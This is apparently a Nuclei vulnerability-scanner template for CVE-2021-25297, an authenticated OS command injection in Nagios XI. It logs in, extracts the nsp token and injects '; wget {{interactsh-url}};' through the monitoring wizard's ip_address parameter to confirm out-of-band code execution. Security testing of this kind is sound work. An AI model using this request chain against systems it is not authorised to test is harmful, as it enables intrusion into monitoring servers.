81 lines
2.1 KiB
YAML
81 lines
2.1 KiB
YAML
id: CVE-2021-25297
|
|
|
|
info:
|
|
name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
|
|
author: k0pak4
|
|
severity: high
|
|
description: |
|
|
Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
|
|
reference:
|
|
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
|
- https://github.com/rapid7/metasploit-framework/pull/17494
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25297
|
|
- http://nagios.com
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25297
|
|
cwe-id: CWE-78
|
|
metadata:
|
|
shodan-query: title:"Nagios XI"
|
|
verified: "true"
|
|
tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
|
|
|
|
- |
|
|
GET /nagiosxi/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
@timeout: 20s
|
|
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: body_4
|
|
words:
|
|
- "<b>Ping</b>"
|
|
- "Switch Details"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nsp
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
|
|
internal: true
|
|
|
|
- type: regex
|
|
part: body
|
|
name: nsp_auth
|
|
group: 1
|
|
regex:
|
|
- "var nsp_str = ['\"](.*)['\"];"
|
|
internal: true
|